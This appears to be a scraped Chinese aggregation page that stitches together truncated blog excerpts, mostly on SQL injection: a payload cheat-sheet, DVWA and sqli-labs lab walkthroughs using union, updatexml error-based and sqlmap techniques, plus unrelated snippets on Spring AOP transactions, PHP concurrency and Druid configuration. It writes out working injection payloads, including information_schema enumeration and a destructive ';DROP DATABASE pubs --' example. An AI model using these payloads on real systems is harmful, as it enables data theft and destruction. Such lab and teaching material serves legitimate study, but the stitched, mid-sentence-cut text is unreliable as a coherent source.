sql注入

WEB渗透 - SQL注入(持续更新)

有些话、适合烂在心里 提交于 2020-02-02 02:40:55
SQL注入 按变量类型分:数字型和字符型 按HTTP提交方式分:POST注入、GET注入和Cookie注入 按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入 按数据库类型分: sql:oracle、mysql、mssql、access、sqlite、postgersql nosql:mongodb、redis 布尔型 0x01 检测有无注入 1' and '1'='1 1' and '1'='2 简化版 1' and '1 1' and '0 猜测服务器端查询语句是:select xx from table where id='1' 0x02 检测表的列数 ' order by 10 --+ 猜测服务器端查询语句是:select xx from table where id=' ' order by 10 --' 0x03 检测显示信息位 ' union select 1,2 -- union联合查询,同时显示多个select查询结果 0x04 显示信息位替换成查询语句 ' union select user(),@@datadir -- 从元数据表information_schema查询信息 0x001 查库名 ' union select schema_name from information_schema.schemata -- 0x002

DVWA靶机-sql自动注入

大憨熊 提交于 2020-02-01 23:10:44
1. 使用dvwa靶机进行sql注入实战(注:当前靶机安全级别为low) 打开sql漏洞,发现输入不同的数字会返回不同的信息, 先尝试手工判断是否存在sql注入 一般sql注入语句像这样,我们构造的是后面两个单引号里面的内容 select * from users where userid='*' 输入: ' or 1=1# 前面一个单引号闭合了查询语句自带的第一个单引号, or 1=1 使得结果永远为真, #则是用来让查询忽略后面连接的内容,--和#的作用相同 看到它的确返回了全部内容 这次我们来试试它会不会报错 提交报错以后出现: 结合上面的内容我们可以判断这里是存在注入点的 2. 这里我的sqlmap是已经装好的 sqlmap需要python环境才能运行(kali自带sqlmap,或者也可以windows环境下安装) windows下安装教程: https://blog.csdn.net/lijia111111/article/details/54755009 cmd里面打开sqlmap 这里先别急着粘贴url,因为登陆dvwa靶机需要用户名和密码,所以会有cookie的存在。 我们需要浏览器插件查看cookie(推荐使用火狐浏览器) 这些就是当前页面的cookie,需要放到sqlmap注入语句后面 python sqlmap.py -u"http://192.168.147

sql注入总结

那年仲夏 提交于 2020-02-01 22:14:47
sql注入定义 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。 sql注入分类 联合查询 通过执行等同于将一个表追加到另一个表的操作来组合两个表的查询 首先我们先来了解一下mysql的系统函数 user ( ) : 当前使用者的用户名 database ( ) : 当前数据库名 version ( ) : 数据库的版本 datadir : 读取数据库的绝对路径 @@vasedir : mysql安装路径 @@version_compile_os : 操作系统 concat ( ) : 连接一个或者多个字符串 group_concat ( ) : 连接一个组的所有字符串,并以逗号分隔每一条数据 然后再来了解下union UNION 用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行。 UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同.默认地, UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL 。当 ALL 随 UNION 一起使用时(即 UNION ALL ),不消除重复行。 mysql 5.0版本以后提供了information.schema表,表中记录了数据库中所有的库、表

【web安全】sql注入之报错注入靶场实战

我的未来我决定 提交于 2020-02-01 10:21:21
直接输入帐号,密码,zkz,zkz,显示正常 然后输入 zkz zkz' and 666=666 # 显示不正常 然后试试加上括号闭合,输入 zkz zkz') and 666=666 # 成功显示了 然后就猜字段了,输入 zkz zkz') and 666=666 order by 5 # 显示错误 然后继续猜字段,猜出字段为2 然后联合查询找回显点,输入 zkz zkz') and 666=888 union all select 1,2 # 然后发现没有回显点,有点懵 然后试试用updatexml()函数试试,输入 zkz zkz') and updatexml(1,concat(0x7e,(select database()),0x7e),3) # 发现爆出数据库,security 然后就差表名,输入 zkz zkz') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),3) # 得到表名emails 继续查表名,查到referers,uagents,users,zkaq 然后就查字段名,输入 zkz zkz') and updatexml(1,concat(0x7e,

Spring基于AOP的事务管理

好久不见. 提交于 2020-02-01 08:35:10
Spring基于AOP的事务管理 事务    事务是一系列动作,这一系列动作综合在一起组成一个完整的工作单元,如果有任何一个动作执行失败,那么事务就将回到最开始的状态,仿佛一切都没发生过。例如,老生常谈的转账问题,从转出用户的总存款中扣除转账金额和增加转出用户的账户金额是一个完整的工作单元,如果只完成扣除或者增加都会导致错误,造成损失,而事务管理技术可以避免类似情况的发生,保证数据的完整性和一致性。同样在企业级应用程序开发过程中,事务管理技术也是必不可少的。   事务有四个特性:ACID 原子性(Atomicity):事务是一个原子操作,有一系列动作组成。原子性保证所有动作都完成,或者不执行任何动作。 一致性(Consistency):一旦事务完成(不论成败),系统必须确保它所建模的业务处于一致的状态。 隔离性(Isolation):可能有很多事务会同时处理相同的数据,因此每个事务都应该与其他事务隔离开来,防止数据损坏。 持久性(Durability):一旦事务完成,无论系统发生生什么系统错误,它的结果都不会受到影响,保证能从系统崩溃中恢复过来,通常事务的结果会被写入到持久化存储器中。   Spring事务是基于面向切面编程(Aspect Oriented Programming,AOP)实现的(文中会简单讲解AOP)。Spring的事务属性分别为传播行为、隔离级别、回滚规则

SQL注入攻击

随声附和 提交于 2020-02-01 03:50:28
SQL注入攻击即是对数据库进行攻击,主要原因是程序员在编写代码时没有对用户输入数据的合法性进行判断,是程序存在安全隐患。用户提交一段数据库查询代码,根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的 防火墙 都不会对SQL注入发出警报,如果管理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。 SQL注入攻击的整体思路 ·发现SQL注入位置; ·判断后台数据库类型; ·确定XP_CMDSHELL可执行情况 ·发现WEB虚拟目录; ·上传 ASP木马 ; ·得到管理员权限; SQL注入的操作步骤 一:SQL注入漏洞的判断 SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。

php解决高并发问题

孤者浪人 提交于 2020-02-01 03:44:38
我们通常衡量一个Web系统的吞吐率的指标是QPS(Query Per Second,每秒处理请求数),解决每秒数万次的高并发场景,这个指标非常关键。举个例子,我们假设处理一个业务请求平均响应时间为100ms,同时,系统内有20台Apache的Web服务器,配置MaxClients为500个(表示Apache的最大连接数目)。 那么,我们的Web系统的理论峰值QPS为(理想化的计算方式): 20*500/0.1 = 100000 (10万QPS) 咦?我们的系统似乎很强大,1秒钟可以处理完10万的请求,5w/s的秒杀似乎是“纸老虎”哈。实际情况,当然没有这么理想。在高并发的实际场景下,机器都处于高负载的状态,在这个时候平均响应时间会被大大增加。 普通的一个p4的服务器每天最多能支持大约10万左右的IP,如果访问量超过10W那么需要专用的服务器才能解决,如果硬件不给力 软件怎么优化都是于事无补的。主要影响服务器的速度 有:网络-硬盘读写速度-内存大小-cpu处理速度。 就Web服务器而言,Apache打开了越多的连接进程,CPU需要处理的上下文切换也越多,额外增加了CPU的消耗,然后就直接导致平均响应时间增加。因此上述的MaxClient数目,要根据CPU、内存等硬件因素综合考虑,绝对不是越多越好。可以通过Apache自带的abench来测试一下,取一个合适的值。然后

SQL注入--sqli-labs(1-4关)

跟風遠走 提交于 2020-01-31 15:48:44
mysql的基本用法:    查库:select schema_name from information_schema.schemata 等同于 show databases   查表:select table_name from information_schema.tables where table_schema='' 等同于 show tables   查列:select column_name from information_schema.columns where table_name=''   查字段:select id,username,password from security.users 查询出security中的users表中的id、username和password   information_schema,系统数据库,包含所有数据库相关信息。   information_schema.schemata中schema_name,字段为所有数据库名称。   information_schema.tables中tables_name列对应数据库所有表名,其中table_schema列是所有数据库名。   information_schema.columns中,columns_name对应所有列名,其中table_schema也对应所有数据库名,table

Druid 专题

柔情痞子 提交于 2020-01-31 09:35:42
数据源配置: #datasource #Introductions: https://github.com/alibaba/druid/wiki/DruidDataSource%E9%85%8D%E7%BD%AE%E5%B1%9E%E6%80%A7%E5%88%97%E8%A1%A8 #https://github.com/alibaba/druid/wiki/%E9%85%8D%E7%BD%AE_DruidDataSource%E5%8F%82%E8%80%83%E9%85%8D%E7%BD%AE #初始化时建立物理连接的个数。初始化发生在显示调用init方法,或者第一次getConnection时 default:0 spring.datasource.druid.initial-size=2 #最大连接池数量。default=8+ spring.datasource.druid.max-active=20 #最小连接池数量。maxIdle已经废弃 spring.datasource.druid.min-idle=10 #获取连接时最大等待时间,单位毫秒。配置了maxWait之后,缺省启用公平锁,并发效率会有所下降,如果需要可以通过配置useUnfairLock属性为true使用非公平锁 spring.datasource.druid.max-wait=60000

SQL注入攻击

你。 提交于 2020-01-31 09:27:40
这是开发人员预期的做法,通过社会保险号码来查询数据库中作者的信息。但因为参数值没有被正确地加码,黑客可以很容易地修改查询字符串的值,在要执行的值后面嵌入附加的SQL语句 。譬如, ' URL to the page containing the above code http://mysite.com/listauthordetails.aspx?SSN=172-32-9999';DROP DATABASE pubs -- ' SQL Query executed against the database SELECT au_lname, au_fname FROM authors WHERE au_id = '';DROP DATABASE pubs --   注意到没有,可以在SSN查询字符串值的后面添加“ ';DROP DATABASE pubs -- ”,通过 “;”字符来终止当前的SQL语句,然后添加了自己的恶意的SQL语句,然后把语句的其他部分用“--”字符串注释掉。因为是手工在编码里构造SQL语句,最后把这个字符串传给了数据库,数据库会先对authors表进行查询,然后把我们的pubs数据库删除。“砰(bang)”的一声,数据库就没了!   万一你认为匿名黑客删除你的数据库的结果很坏,但不幸的是,实际上,这在SQL注入攻击所涉及的情形中算是比较好的